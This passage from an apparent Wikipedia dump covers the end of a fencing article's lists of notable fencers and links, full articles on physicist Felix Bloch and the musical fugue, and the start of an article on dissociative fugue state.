* [[Aldo Nadi]], gold and silver medallist in the [[1920]] [[Summer Olympic Games]], well-known fencing master, and author of the classic texts, ''On Fencing'' and &quot;The Living Sword&quot;.
* [[Nedo Nadi]], Aldo's brother and winner of 6 Olympic Gold medals
* [[Vladimir Nazlymov]] - Soviet sabre fencer/coach, 10-time world champion, three-time Olympic Team Gold medallist (1968, 1976, 1980). Twice named the world's best sabre fencer by the International Fencing Federation. Currently, head fencing coach of The Ohio State University fencing team.
* [[Boris Onishchenko]], Russian modern pentathlete, individual silver medallist and team gold medallist in 1972, disqualified in 1976 for using a rigged weapon.
* [[Mark Rakita]] - a Soviet sabreur, Olympic Gold medalist, David Tyshler's pupil and a highly successful coach in his own right (pupils include Victor Krovopouskov and Victor Sidjak)  
* [[Alexander Romankov]]
* [[Italo Santelli]], the fencing master who revolutionized sabre fencing with the &quot;Hungarian&quot; style in the [[1920s]].
* [[Giorgio Santelli]], Italo's son, founder of the Santelli salle in [[New York City]], coach to 5 U.S. Olympic teams, legendary fencing teacher, Olympic gold medallist.
* [[Viktor Sidjak]] - a Soviet sabreur, four-time Olympic Gold medalist
* [[László Szabó (fencing master)|László Szabó]], the Hungarian master who defined a system for developing coaches and wrote the defining Fencing and the Master, the only direct student of the legendary Italo Santelli to write of what he learned. Teacher of Olympic and World champions.
* [[David Tyshler]] - a member of the first generation of internationally successful Soviet fencers, best known for his achievements as a coach, one of the great theorists of the Soviet school of fencing
* [[Imre Vass]], who authored the definitive guide to épée fencing
* [[Bela Valter]], Hungarian master and Olympic coach
* [[Francis Zold (1904-2003)]], Hungarian fencing master and a legendary promoter and teacher of fencing in the post-war US; a student of Italo Santelli, he served as captain of the Hungarian fencing team at the London Olympics in 1948. He emigrated to the United States following the Soviet invasion of Hungary in 1956 and worked as a fencing coach at a number of colleges and universities, including the University of Southern California and Pomona College in Claremont, CA. He died in 2003 at the age of 99.

== Notable United States fencers and fencing masters ==
* [[Albert Axelrod]], bronze medallist in the [[1960]] [[Summer Olympic Games]] in Foil
* [[Daniel Bukantz]], Olympian, U.S. Foil Fencer, Member of the Jewish Sports Hall of Fame
* [[Gay Jacobsen D'Asaro]], 1976, 1980 Olympian U.S. Women's Foil Fencer (now Gay MacLellan)
* [[Michael D'Asaro Sr.]]
* [[Csaba Elthes]], legendary coach to 6 U.S. Olympic teams, immigrated from Hungary
* [[Fred Linkmeyer]]
* [[Michael Marx]] 5 x Olympian, Epee and Foil Coach, National Champion
* [[Helene Mayer]]
* [[Sharon Monplasir]]
* [[Sada Jacobson]], bronze medallist in the [[2004]] [[Summer Olympic Games]] in Sabre; first American female to be ranked #1 in the world, and the second American ever to be ranked #1 in the world.
* [[Ed Korfanty]], U.S. National women's sabre team coach, formerly Polish national coach, coach to 7 x Jr. World  Sabre Champion Mariel Zagunis, 2004 Cadet Sabre champion, Caitlin Thomas, coach to 2000 and 2005 U.S. World Champion sabre team. Coach to 2004 Olympic Gold medallist Mariel Zagunis. 2002 and 2003 World Veterans Champion in Men's sabre.
*[[George S. Patton]], General and U.S. Army Master of the Sword. Designer of the M1913 Cavalry Saber. 1912 Stockholm Olympics in the first modern pentathlon competition (Ranked 1st in fencing - 8th overall). 
*[[Janice Romary]], 1948, 1952, 1956, 1960, 1964, 1968 Olympian U.S. Foil Fencer
* [[Keeth Smart]], first American to be ranked #1 in the World, member of 2004 gold medal US Men's Sabre team at World Cup
* [[Peter Westbrook]], bronze medallist in the [[1984]] [[Summer Olympic Games]], 13-time [[United States|US]] National Men's Sabre Champion, author of ''Harnessing Anger'', founder of the Peter Westbrook Foundation, teaching and helping youth through sport.
* [[Mariel Zagunis]], gold medallist in the first ever Women's Sabre event at the [[2004]] [[Summer Olympic Games]] in Sabre; first American woman to win gold; first American to win gold since 1904

==Notable classical or historical fencers and fencing masters==
*[[Camillo Agrippa]]
*[[User:Miguel Andrade Gomes|Miguel Andrade Gomes - Portugal]]
*[[David Achilleus]]
*[[Keith Beattie]]
*[[Alberto Bomprezzi]]
*[[Adam A. Crown]]
*[[René Descartes]]
*[[Nick Evangelista]]
*[[William Gaugler]]
*[[Neville Gawley]]
*[[Sean Hayes (fencing instructor)|Sean Hayes]]
*[[Tom Leoni]]
*[[Paul MacDonald]]
*[[Ramon Martinez (fencing instructor)|Ramon Martinez]]
*[[Andrea Lupo Sinclair]]
*[[Chris Umbs]]

==See also==
*[[List of American epee fencers]]
*[[List of American sabre fencers]]
*[[List of American foil fencers]]
*[[USFA Hall of Fame]]

==External links==
; Governing bodies
*[http://www.fie.ch/ Fédération Internationale d'Escrime] The body responsible for all international fencing
*[http://www.ahfi.org/ Association for Historical Fencing] An international organization for traditional (classical &amp; historical) fencing
*[http://www.usfca.org/usfca/ U.S. Fencing Coaches Association]
*[http://www.usfencing.org U.S. Fencing Association web site]
*[http://www.fencing.ca/ Canadian Fencing Federation]
*[http://www.britishfencing.com/ British Fencing Association]
*[http://www.ausfencing.org/ Australian Fencing Federation]
*[http://www.sportec.com/rfee/ Spanish Fencing Federation]
*[http://www.esgrimamallorca.com/ Balearic Fencing Federation]
*[http://www.knas.nl/ Dutch Fencing Federation KNAS]
*[http://www.federscherma.it Italian Fencing Federation FIS]
*[http://www.hunfencing.hu Hungarian Fencing Association]
; Other sites
*[http://www.fencing.net/ Fencing.Net] comprehensive fencing news site featuring articles on the state of the game, as well as an active forum for fencing discussion
*[http://www.fencingforum.com Fencing Forum] UK based fencing forum for fencing discussion
*[http://www.dmoz.org/Sports/Fencing/ Fencing Directory]
*[http://www.kmoser.com/classicalfencing.htm Classical Fencing and Historical Swordsmanship Resources] An extensive directory of traditional fencing groups and prominent individuals listed by geographic location
*[http://www.mysabah.com/2005_fencing/ Photos of Asian Fencing Championships in Borneo]
*[http://www.esgrimamex.com Esgrimamex] Mexican fencing website
*[http://www.faqs.org/faqs/by-newsgroup/rec/rec.sport.fencing.html Fencing FAQ] from rec.sport.fencing
*[http://digital.lib.msu.edu/collections/index.cfm?CollectionID=7 Classic books on fencing]
*[http://www.khsportsphotos.co.uk/fencing/ Fencing photo gallery]
*[http://www.fencingphotos.com FencingPhotos] Official photographer of the International Fencing Federation
*[http://www.anymartialart.org/09_Martial_Arts_Info/index.php?MArtID=117 AnyMartialArt.org] Fencing overview
*[http://www.guiafe.com.ar/argentina-pictures/categories.php?cat_id=112 Fencing Pictures] 
*[http://www.askfred.net/ FRED: Fencing Results and Events Database] Site with current results for most tournaments in the U.S.A., as well as info on upcoming tournaments.

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    <title>Felix Bloch</title>
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      <text xml:space="preserve">:''This page only addresses the Swiss physicist, for the man accused of espionage see [[Felix Bloch (alleged spy)]]''

[[Image:bloch.gif|frame|right|Felix Bloch.]]
'''Felix Bloch''' ([[October 23]], [[1905]] &amp;ndash; [[September 10]], [[1983]]) was a Swiss born [[physicist]], working mainly in the [[United States|USA]].

Born in [[Zürich]], [[Switzerland]]. He was educated there and at the [[Eidgenössische Technische Hochschule]], also in Zürich. Initially studying engineering he soon changed to [[physics]]. Graduating in [[1927]] he continued his physics studies at the [[University of Leipzig]], gaining his doctorate in [[1928]]. He remained in German academia, studying with [[Werner Heisenberg]], [[Wolfgang Pauli]], [[Niels Bohr]] and [[Enrico Fermi]]. In [[1933]] he left [[Germany]], emigrating to work at [[Stanford University]] in [[1934]]. In [[1939]], he became a [[naturalized citizen]] of the [[United States]]. During [[World War II|WW II]] he worked on [[atomic energy]] at [[Los Alamos National Laboratory]], before resigning to join the [[radar]] project at [[Harvard University]]. Post-war he concentrated on investigations into [[nuclear induction]] and [[nuclear magnetic resonance]], which are the underlying principles of [[magnetic resonance imaging|MRI]].  He and [[Edward Mills Purcell]] were awarded the [[1952]] [[Nobel Prize in Physics]] for &quot;their development of new methods for nuclear magnetic precision measurements.&quot; {{fn|1}}  In [[1954]]&amp;ndash;[[1955]], he served for one unsatisfactory year as the first Director-General of [[CERN]]. In [[1961]], he was made [[Max Stein]] Professor of Physics at Stanford University.

==External links==
* http://nobelprize.org/physics/laureates/1952/bloch-bio.html

==Footnotes==
*{{fnb|1}} - Sohlman, M (Ed.) ''Nobel Foundation directory 2003.'' Vastervik, Sweden: AB CO Ekblad; 2003.


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    <title>Fugue</title>
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      <text xml:space="preserve">:''For the use of the word in [[psychology]] see [[fugue state]]''

In [[music]], a '''fugue''' is a type of piece written for [[counterpoint]] for several independent musical voices.  A fugue begins with its ''subject'' (a brief musical theme) stated by one of the voices playing alone.  A second voice then enters and plays the subject, while the first voice continues on with a contrapuntal accompaniment.  Then the remaining voices similarly enter one by one.  The remainder of the fugue further develops the material using all of the voices.

The word ''fugue'' comes from the Latin ''fuga'' (flight) and ''fugere'' (to flee).  Variants include ''fughetta'' (a small fugue) and ''fugato'' (a work or section of a work resembling a fugue but not necessarily adhering to the rules of one). The adjectival form of ''fugue'' is ''fugal''.

[[Image:Audiobutton.png]] [[media:Wtk1-fugue2.mid|Listen to a fugue]] ([[Johann Sebastian Bach]]'s C-minor fugue from the ''[[Well Tempered Clavier]]'' I, in 3 voices).  [http://jan.ucc.nau.edu/~tas3/wtc/i02.html#movie See the music] for this fugue (external link, requires a [[Macromedia Director]] [[plugin]]).

==Characteristics and anatomy==

===Number of voices===

The number of voices in a fugue generally ranges from three to five, but eight or even ten voices are possible in large choral or orchestral fugues.  Fugues in fewer than three voices are rare, because with two voices the subject can only jump back and forth between the upper and lower voice.  The best-known example of a two-voice work is the E minor fugue from Book I of [[Johann Sebastian Bach|Bach's]] ''[[Well-Tempered Clavier]]''. Two part works which are written in a fugal manner are sometimes called &quot;[[invention (music)|inventions]]&quot;.

The term &quot;part&quot; is often used in the context of the fugue as a synonym for &quot;voice.&quot;  Use of the term &quot;voice&quot; does not imply that the fugue in question is necessarily composed for voices rather than instruments.

===Musical outline===

The beginning of the fugue tends to be written to definite rules, whereas in the later portions the composer has considerably greater freedom.

A fugue begins with an '''exposition''' of its '''subject''' by one of the voices in the [[tonic (music)|tonic]] key.  After the subject, a second voice &quot;answers&quot; it with the same theme as the subject, but played in the [[dominant (music)|dominant]]. An answer can be classified as either tonal or real. In a '''tonal''' answer, some of the intervals may be altered to keep the answer in the same [[key (music)|key]].  In a '''real''' answer, the subject is literally transposed to another key.  As the answer is passed to each new voice, the prior voice will sometimes accompany the subject with a  '''counter-subject.'''  It is customary for the exposition to alternate subjects (S) with answers (A) as follows: SASA.  But in some fugues the order is varied: e.g. SAAS of the first fugue in Bach's Well-Tempered Clavier.  The fugue's exposition concludes when all voices have stated or answered the subject.

The fugue rarely stops after its initial exposition, more often continuing to one or more ''developmental episodes''.  Episodic material is usually based upon some element of the exposition—for example, a melodic motif may be taken and repeated [[sequence (music)|sequentially]]. There may also be ''middle entries'': these are entries of the subject by fewer than all the voices in the fugue, often varied in some way. They are often given in keys other than the tonic or dominant, or in a different mode (minor instead of major, or vice versa). 

The episodes may also vary the subject by giving it in ''inversion'' (upside-down), ''retrograde'' (back-to-front), ''diminution'' (with shorter note values) or ''augmentation'' (with longer note values; the subject in augmentation entering in the bass is common at the end of fugues).  Sometimes the voices appear in ''stretto,'' with one voice entering with the subject before the last voice has finished its entry.  There also may be ''false entries'', which begin the fugue subject, but do not give it in full (the isolated beginning is sometimes called the ''head motif'').

Episodes may be interspersed with repeated expositions in which all voices give subjects and answers as at the beginning of the fugue, though these may also be varied, for example by having the voices enter in a different order. 

Various devices are used to form the conclusion of a fugue. A fugue may end with a ''recapitulation'', in which the entries of the subject are repeated in the manner it was first introduced.  Stretto entries of the subject often are found near the end, usually at the point where the fugue reaches its climax of tension.  The final section often includes a [[pedal point]], either on the [[dominant (music)|dominant]] or the [[Tonic (music)|tonic]] note.  At the very end of the fugue there may be a [[coda (music)|coda]] section, which follows a strong [[Cadence (music)|Cadence]] on the tonic chord.

===Timing of entries===

The construction of a fugue is based on taking advantage of &quot;contrapunctal devices&quot; as J. S. Bach called them - places where an entrance of a theme or subject could occur. In each fugue theme, then, there is an implied structure of where and at what intervals the theme can begin in another voice. Bach was sufficiently expert that he could tell exactly what entrances could occur simply by hearing the first playing of a theme.

===Double (triple, quadruple) fugue===

A '''double fugue''' has two subjects that are often developed simultaneously.  Sometimes the second subject is initially presented as the counter-subject of the first, while in other examples, the second subject has its own exposition. In the latter case, the work has this structure:  fugue on subject A; fugue on subject B; combination of subjects A and B.  In a few cases, the second (and third, and so on) subjects may have their presentation cleverly weaved into the development (see Bach C# minor WTC I, a triple fugue). Examples of the double fugue are the Bach [http://jan.ucc.nau.edu/~tas3/wtc/i19.html A major WTC I] and [http://jan.ucc.nau.edu/~tas3/wtc/ii18.html g# minor WTC II] (External links to Shockwave movie).

While triple fugues are not uncommon (see Bach [http://jan.ucc.nau.edu/~tas3/wtc/i04.html c# minor WTC I] and [http://jan.ucc.nau.edu/~tas3/wtc/ii14.html f# minor WTC II]), quadruple fugues are rare.  The surviving pages of Contrapunctus XIV from Bach's ''[[The Art of Fugue|Die Kunst der Fuge]]'' represent a triple fugue that was undoubtedly quadruple in conception. Other examples of quadruple fugues are the ''fuga IV (a quattro soggetti)'' from [[Ferruccio Busoni|Busoni]]'s ''[[Fantasia Contrappuntistica]]'' and in a similar respect, the quadruple fugue from [[Kaikhosru Shapurji Sorabji|Kaikhosru Sorabji]]'s ''[[Opus Clavicembalisticum]]''.

==Is the fugue a musical form?==

A widespread view of the fugue is that it is not a musical form (in the sense that, say, [[sonata form]] is) but rather a technique of composition.  For instance, [[Donald Tovey]] wrote that &quot;Fugue is not so much a musical form as a musical texture,&quot; that can be introduced anywhere as a distinctive and recognizable technique, often to produce intensification in musical development.

On the other hand, composers almost never write music in a purely cumulative fashion, and usually a work will have some kind of overall formal organization—hence the rough outline given above, involving the exposition, the sequence of episodes, and the concluding coda.  When scholars say that the fugue is not a musical form, what is usually meant is that there is no one single formal outline into which all fugues reliably can be fitted.

The formal organization of a fugue involves not only the arrangement of its theme and episodes, but also its harmonic structure, a point emphasized by Ratz (1951).  In particular, the exposition and coda tend to emphasize the tonic key, whereas the episodes usually explore more distant tonalities.

==History==

The term ''fuga'' was used as far back as the Middle Ages, but was initially used to refer to any kind of imitative counterpoint, including [[canon (music)|canons]], which are now thought of as distinct from fugues. It was not until the 16th century that fugal technique as it is understood today began to be seen in pieces, both instrumental and vocal. Fugal writing is found in works such as ''fantasias'', ''ricercares'' and ''canzonas''.

The fugue arose from the technique of &quot;imitation&quot;, where the same musical material was repeated starting on a different note. Originally this was to aid [[improvisation]], but by the 1550s, it was considered a technique of composition. The [[Renaissance]] composer [[Giovanni Pierluigi da Palestrina]] (1525?-1594) wrote masses using [[musical mode|modal]] counterpoint and imitation, and fugal writing became the basis for writing [[motet]]s as well. A motet differed from a fugue in that each phrase of the text had a different subject which was introduced and worked out separately, whereas a fugue continued working with the same subject or subjects throughout the entire length of the piece.

===Baroque era===

It was in the [[Baroque music|Baroque]] period that the writing of fugues became central to composition, in part as a demonstration of compositional expertise.  Fugues were incorporated into a variety of musical forms. [[Jan Pieterszoon Sweelinck]], [[Girolamo Frescobaldi]], [[Johann Jakob Froberger]] and [[Dieterich Buxtehude]] all wrote fugues, and [[George Frideric Handel]] included them in many of his [[oratorio]]s. Keyboard [[suite]]s from this time often conclude with a fugal [[gigue]]. The [[French overture]] featured a quick fugal section after a slow introduction. The second movement of a [[sonata da chiesa]], as written by [[Arcangelo Corelli]] and others, was usually fugal.

The Baroque period also saw a rise in the importance of [[music theory]].  The most influential text was published by [[Johann Joseph Fux]] (1660-1741), his ''Gradus Ad Parnassum'' (&quot;Steps to [[Parnassus]]&quot;), which appeared in 1725. This work laid out the terms of &quot;species&quot; of counterpoint, and offered a series of exercises to learn fugue writing.  Fux's work was largely based on the practice of Palestrina's modal fugues.  It remained influential into the nineteenth century.  [[Joseph Haydn|Haydn]], for example, taught counterpoint from his own summary of Fux, and thought of it as the basis for formal structure.

[[Johann Sebastian Bach]] (1685-1750) is generally regarded as the greatest composer of fugues. He often entered into contests where he would be given a subject with which to spontaneously [[improvisation|improvise]] a fugue on the [[organ (music)|organ]] or [[harpsichord]]. This musical form was also apparent in chamber music he would later compose for Weimar; the famous ''[[Double Violin Concerto (Bach)|Concerto for Two Violins in D Minor]]'' (BWV 1043) (although not contrapuntal in its entirety) has a fugal opening section to its first movement.

Bach's most famous fugues are those for the harpsichord in ''[[The Well-Tempered Clavier]]'' and the (unfinished) ''[[Art of Fugue]]'', and his organ fugues, which are usually preceded by a [[prelude (music)|prelude]] or [[toccata]]. The ''Art of Fugue'' is a collection of fugues (and four [[canon (music)|canons]]) on a single theme that is gradually transformed as the cycle progresses.  ''The Well-Tempered Clavier'' comprises two volumes written in different times of Bach's life, each comprising 24 prelude and fugue pairs, one for each major and minor key.  Bach also wrote smaller single fugues, and incorporated fugal writing in many of his works that were not fugues per se.

Although J. S. Bach was not well known as a composer in his lifetime, his influence extended forward through his son [[Carl Philipp Emanuel Bach|C.P.E. Bach]] and through the theorist [[Friedrich Wilhelm Marpurg]] (1718-1795) whose ''Abhandlung von der Fuge'' (&quot;Treatise on the fugue&quot;, 1753) was largely based on J. S. Bach's work.

===Classical era===
During the Classical era, the fugue was no longer a central or even fully natural mode of musical composition.  Nevertheless, the three greatest composers of the Classical era, [[Joseph Haydn|Haydn]], [[Wolfgang Amadeus Mozart|Mozart]], and [[Ludwig van Beethoven|Beethoven]], all had periods of their careers in which they in some sense &quot;rediscovered&quot; fugal writing and used it frequently in their work.

Haydn's first spell of fugue-writing occurred when he composed his [[Sun quartets]], (op. 20, 1772) of which three have fugal finales.  This was a practice that Haydn only repeated once later in his quartet-writing career, with the finale of his quartet Op. 50 no. 4 (1787).  However, a second period of fugue writing for Haydn occurred after he had heard, and been greatly inspired by, the [[oratorio]]s of [[Handel]] during his visits to London (1791-1793, 1794-1795).  Haydn then studied Handel's techniques and incorporated Handelian fugal writing into the choruses of his mature oratorios ''[[The Creation]]'' and ''[[The Seasons (Haydn)|The Seasons]]''.

Mozart studied counterpoint when young with [[Padre Martini]] in Rome.  However, the major impetus to fugal writing for Mozart was the influence of Baron [[Gottfried van Swieten]] in Vienna around 1782.  Van Swieten, during diplomatic service in [[Berlin]], had taken the opportunity to collect as many manuscripts by Bach and Handel as he could, and he invited Mozart to study his collection and also encouraged him to transcribe various works for other combinations of instruments.  Mozart was evidently fascinated by these works, and wrote a set of transcriptions for string trio of fugues from Bach's [[Well-Tempered Clavier]], introducing them with preludes of his own.  Mozart then set to writing fugues on his own, mimicking the Baroque style.  These included the fugues for string quartet, K. 405 (1782) and a fugue in C Minor K. 426 for two pianos (1783).  Later, Mozart incorporated fugal writing into the finale of his ''[[Symphony No. 41 (Mozart)|Symphony No. 41]]'' and his opera ''[[Die Zauberflöte]]''. The parts of the [[Requiem]] he completed also contain several fugues (most notably the Kyrie, and the three fugues in the Domine Jesu); he also left behind a sketch for an [[Amen]] fugue which would have come at the end of the Sequentia.

Beethoven was familiar with fugal writing from childhood, as an important part of his training was playing from ''[[The Well-Tempered Clavier]]''.  During his early career in [[Vienna]], Beethoven attracted notice for his performance of these fugues.  There are fugal sections in Beethoven's early piano sonatas, and fugal writing is to be found in the second and fourth movements of the ''[[Symphony No. 3 (Beethoven)|Eroica Symphony]]'' (1805).  Nevertheless, fugues did not take on a truly central role in Beethoven's work until his &quot;late period.&quot;  A fugue forms the development section of the last movement of his piano sonata op. 101 (1816), and massive, dissonant fugues form the finales of his [[Piano Sonata No. 29 (Beethoven)|''Hammerklavier'']] piano sonata (1818) and [[String Quartet No. 13 (Beethoven)|string quartet op. 130]] (1825); the latter was later published separately as op. 133, the ''[[Grosse Fuge]]'' (&quot;Great Fugue&quot;).  Beethoven's last piano sonata, op. 111 (1822) integrates fugal texture throughout the first movement, written in [[sonata form]].  Fugues are also found in the ''[[Missa Solemnis (Beethoven)|Missa Solemnis]]'' and in the finale of the ''[[Symphony No. 9 (Beethoven)|Ninth Symphony]]''.  

A common characteristic of the Classical composers is that they usually wrote fugues not as isolated works but as part of a larger work, often as a sonata-form development section or as a finale.  It was also characteristic to abandon fugal texture just before the end of a work, providing a purely homophonic resolution.  This is found, for instance, in the final fugue of the chorus &quot;The Heavens are Telling&quot; in Haydn's ''[[The Creation]]'' (1798) and the final fugal section of Beethoven's piano sonata op. 110 (1822).

===Romantic era ===

By the beginning of the [[Romantic music|Romantic]] era, fugue writing had become specifically attached to the norms and styles of the Baroque. One manual explicitly stated that the hallmark of contrapuntal style was the style of J. S. Bach. The 19th century's taste for academicism - setting of forms and norms by explicit rules - found [[Friedrich Wilhelm Marpurg|Marpurg]], and the fugue, to be a congenial topic. The writing of fugues also remained an important part of musical education throughout the 19th century, particularly with the publication of the complete works of [[Johann Sebastian Bach|Bach]] and [[George Frideric Handel|Handel]], and the revival of interest in Bach's music.

Examples of fugal writing in the [[Romantic music|Romantic]] era are found in the last movement of [[Hector Berlioz|Berlioz]]'s ''[[Symphonie Fantastique]]'', and [[Richard Wagner|Wagner]]'s ''[[Die Meistersinger von Nürnberg|Meistersinger]]'' overture. The finale of [[Giuseppe Verdi]]'s opera ''[[Falstaff (opera)|Falstaff]]'' is a ten-voice fugue. [[Robert Schumann]], [[Felix Mendelssohn]] and [[Johannes Brahms]] also included fugues in many of their works. The final part of Schumann's ''[[Piano Quintet (Schumann)|Piano Quintet]]'' is a double fugue, and his opus numbers 126, 72 and 60 are all sets of fugues for the piano (opus 60 based on the [[BACH motif]]). The Quasi-Faust movement of [[Charles-Valentin Alkan]]'s Grande Sonate contains a bizarre but musically convincing fugue in 8 parts. Brahms' ''[[Variations and Fugue on a Theme of Handel]]'' ends with a fugue, as does his ''[[Cello Sonata No. 1 (Brahms)|Cello Sonata No. 1]]''.  Towards the end of the Romantic era, [[Richard Strauss]] included a fugue in his tone poem, ''[[Also sprach Zarathustra (Strauss)|Also sprach Zarathustra]]'', to represent the high intelligence of science. [[Sergei Rachmaninoff]], despite writing in a lush post-romantic idiom, was highly skilled in counterpoint (as is highly evident in his [[Vespers (Rachmaninoff) | ''Vespers'']]); a well known fugue occurs in his [[Symphony No. 2 (Rachmaninoff) | ''Symphony No. 2'']].  [[Alexander Glazunov]] wrote a very difficult ''Prelude and Fugue in D minor'', his Op. 62, for the piano.

===20th century ===

The late Romantic composer Max Reger had the closest association with the fugue among his contemporaries. Many of his organ works contain, or are themselves fugues. Two of Reger's most-played orchestral works, the Hiller variations and the Mozart variations, end with a large-scale orchestral fugue.

A number of other twentieth century composers made extensive use of the fugue. [[Béla Bartók]] opened his ''[[Music for Strings, Percussion and Celesta]]'' with a fugue in which the [[tritone]], rather than the fifth, is the main structural interval. He also included fugal sections in the final movements of his ''[[String Quartet No. 1 (Bartók)|String Quartet No. 1]]'', ''[[String Quartet No. 5 (Bartók)|String Quartet No. 5]]'' and ''[[Piano Concerto No. 3 (Bartók)|Piano Concerto No. 3]]''.  The second movement of his ''[[Sonata for Solo Violin (Bartók)|Sonata for Solo Violin]]'' is also a fugue. 

[[Igor Stravinsky]] also incorporated fugues into his works, including the ''[[Symphony of Psalms]]'' and the ''[[Concerto in E-flat (Dumbarton Oaks)|Dumbarton Oaks]]'' concerto. The last [[movement (music)|movement]] of [[Samuel Barber]]'s famous ''Sonata for Piano'' is a sort of &quot;modernized&quot; fugue, which, instead of obeying the constraint of a fixed number of voices, develops the fugue subject and its head-motif in various contrapuntal situations.  The practice of writing fugue cycles in the manner of Bach's ''Well-Tempered Clavier'' was perpetuated by [[Paul Hindemith]] in his [[Ludus Tonalis|''Ludus Tonalis'']], [[Kaikhosru Shapurji Sorabji|Kaikhosru Sorabji]] in a number of his works including the [[Opus clavicembalisticum]], and [[Dmitri Shostakovich]] in his [[24 Preludes and Fugues (Shostakovich)|''Preludes and Fugues'']], opus 87 (which, like the ''Well-Tempered Clavier'', contains a prelude and fugue in each key, be it ordered along the cycle of fifths rather than chromatically). [[Benjamin Britten]] composed a fugue for orchestra in his ''[[The Young Person's Guide to the Orchestra]]'', consisting of subject entries by each instrument once. [[Leonard Bernstein]] wrote a &quot;Cool Fugue&quot; as part of his musical ''[[West Side Story]]'', and the musical comedy composer [[Frank Loesser]] included a ''Fugue for Tinhorns'' in his musical ''[[Guys and Dolls]]''. Jazz musician [[Alec Templeton]] even wrote a fugue (recorded subsequently by [[Benny Goodman]]): Bach Goes to Town. György Ligeti wrote a Fugue for his &quot;Requiem&quot; (1966), which consists of a 5 part fugue in which each part (S,M,A,T,B) is subsequently divided in four voices that make a canon.

20th Century fugue writing explored many of the directions implied by Beethoven's [[Grosse Fuge]], and what came to be termed [[free counterpoint]] as well as [[dissonant counterpoint]]. Fugal technique as described by Marpurg became part of the theoretical basis for Schoenberg's [[twelve-tone technique]].

==Perceptions and aesthetics==

Fugue is the most complex of contrapuntal forms and, as such, gifted composers have used it to express the profound. The complexity of fugue has foiled lesser composers who have produced only the banal.  In the words of the Austrian musicologist [[Erwin Ratz]] (1951, p. 259), &quot;fugal technique significantly burdens the shaping of musical ideas, and it was given only to the greatest geniuses, such as Bach and Beethoven, to breathe life into such an unwieldy form and make it the bearer of the highest thoughts.&quot; 

In presenting Bach's fugues as among the greatest of contrapuntal works, Peter Kivy (1990) points out (p. 206) that &quot;counterpoint itself, since time out of mind, has been associated in the thinking of musicians with the profound and the serious&quot; and argues (p. 210) that &quot;there seems to be some rational justification for their doing so.&quot; Because of the way fugue is often taught, the form can be seen as dry and filled with laborious technical exercises. The term &quot;school fugue&quot; is used for a very strict form of the fugue that was created to facilitate teaching.  The works of the Austrian composer [[Simon Sechter]], who was a teacher of [[Franz Schubert|Schubert]] and [[Anton Bruckner|Bruckner]], include several thousand fugues, but they are not found in the standard repertory, not because they are fugues but because of Sechter's limitations as a musical artist.

Others, such as Alfred Mann, argued that fugue writing, by focusing the compositional process actually improves or disciplines the composer towards musical ideas. This is related to the idea that restrictions create freedom for the composer, by directing their efforts. He also points out that fugue writing has its roots in improvisation, and was, during the baroque, practiced as an improvisatory art. 

The fugue is perceived, then, not merely as itself, but in relation to the idea of the fugue, and the greatest of examples from the Baroque era forward. As a musical idea with a history, which includes its use in liturgical music of Christianity, a device in teaching composition, a favored form by one of the greatest, if not the greatest, composer of [[European classical music|classical music]], and as a form which can be thought of as distinctly antique - there are a whole range of expectations brought to bear on any piece of music labelled &quot;fugue&quot;.

==References==

* Kivy, Peter (1990). ''Music Alone: Philosophical Reflections on the Purely Musical Experience''. Ithaca: Cornell University Press. ISBN 0-8014-2331-7.
* Ratz, Erwin (1951). ''Einführung in die Musikalische Formenlehre: Über Formprinzipien in den Inventionen J. S. Bachs und ihre Bedeutung für die Kompositionstechnik Beethovens'' {&quot;Introduction to Musical Form:  On the Principles of Form in J. S. Bach's Inventions and their Import for Beethoven's Compositional Technique&quot;, first edition with supplementary volume. Vienna: Österreichischer Bundesverlag für Unterricht, Wissenschaft und Kunst.

==External links==
* [http://www.kunstderfuge.com/theory.htm Theory on fugues]
* Fugues of the Well-Tempered Clavier [http://jan.ucc.nau.edu/~tas3/wtc.html Shockwave] or [http://jan.ucc.nau.edu/~tas3/wtc/wtc.html html]
* [http://www.hannotte.net/Fugues.htm Fugues and Fugue Sets]
* A book of interest, in which the main characters play several fugues, is &quot;An Equal Music&quot; by Vikram Seth
[[Category: Musical forms]]

[[ar:فوغا]]
[[ca:Fuga]]
[[de:Fuge (Musik)]]
[[es:Fuga]]
[[eo:Fugo]]
[[fr:Fugue]]
[[it:Fuga]]
[[he:פוגה]]
[[la:Fuga]]
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[[nl:Fuga]]
[[ja:フーガ]]
[[no:Fuge (musikk)]]
[[nn:Fuge]]
[[pl:Fuga (muzyka)]]
[[fi:Fuuga]]
[[sv:Fuga]]
[[vi:Tẩu pháp]]
[[zh:赋格]]</text>
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  <page>
    <title>Fugue state</title>
    <id>10898</id>
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      <comment>/* In fiction */</comment>
      <text xml:space="preserve">''For its use in music, see [[fugue (music)]].''

The ''[[Merck Manual]]'' &lt;ref name=&quot;Merck&quot;&gt;[[Merck Manual]] [[1999]] section 15 (Psychiatric Disorders), chapter 188 (Dissociative Disorders)&lt;/ref&gt; defines ''Dissociative Fugue'' as:

: One or more episodes of amnesia in which the inability to recall some or all of one's past and either the loss of one's identity or the formation of a new identity occur with sudden, unexpected, purposeful travel away from home.

In support of this definition, the ''Merck Manual'' &lt;ref name=&quot;Merck&quot;/&gt; further defines [[Dissociative amnesia]] as:

: An inability to recall important personal information, usually of a traumatic or stressful nature, that is too extensive to be explained by normal forgetfulness.

In the field of [[psychology]], a '''fugue state''' is usually defined by the term ''[[dissociation|dissociative]] fugue'' and from the definitions above it is [[etiology|etiologically]] related to dissociative amnesia (which in popular culture is usually simply called ''[[amnesia]]'', the state where someone completely forgets who they are).  

A ''fugue state'' is therefore similar in nature to the concept of ''[[dissociative identity disorder]] (DID)'' (formerly called ''multiple-personality disorder'') although DID is widely understood to have its conception in a long-term life event (such as a traumatic childhood), where sufficient time is given for alternate personality representations to form and take hold.  Sudden neurological damage would thus seem to fit more closely the onset of a fugue state.

As the person experiencing a ''fugue state'' may have recently suffered an amnesic onset&amp;#8212;perhaps a head trauma, or the reappearance of an event or person representing an earlier life trauma&amp;#8212;the emergence of a &quot;new&quot; personality seems to be for some, a logical apprehension of the situation.

Interestingly, in music the word ''fugue'' implies multiple instruments (voices) that introduce the melody (personality traits) sequentially (thus suggesting [[motion]]), possibly later playing simultaneously with combinations of counter-melodies (counter-traits).  There is almost certainly a [[linguistic]] relationship between these ideas (most likely the psychological notion was so named after the musical notion).

Therefore, the terminology ''fugue state'' may carry a slight linguistic distinction from ''dissociative fugue'', the former implying a greater degree of ''motion''.  For the purposes of this article then, ''fugue state'' would be the situation of ''acting out'' a ''dissociative fugue''.

==Prevalence and onset==
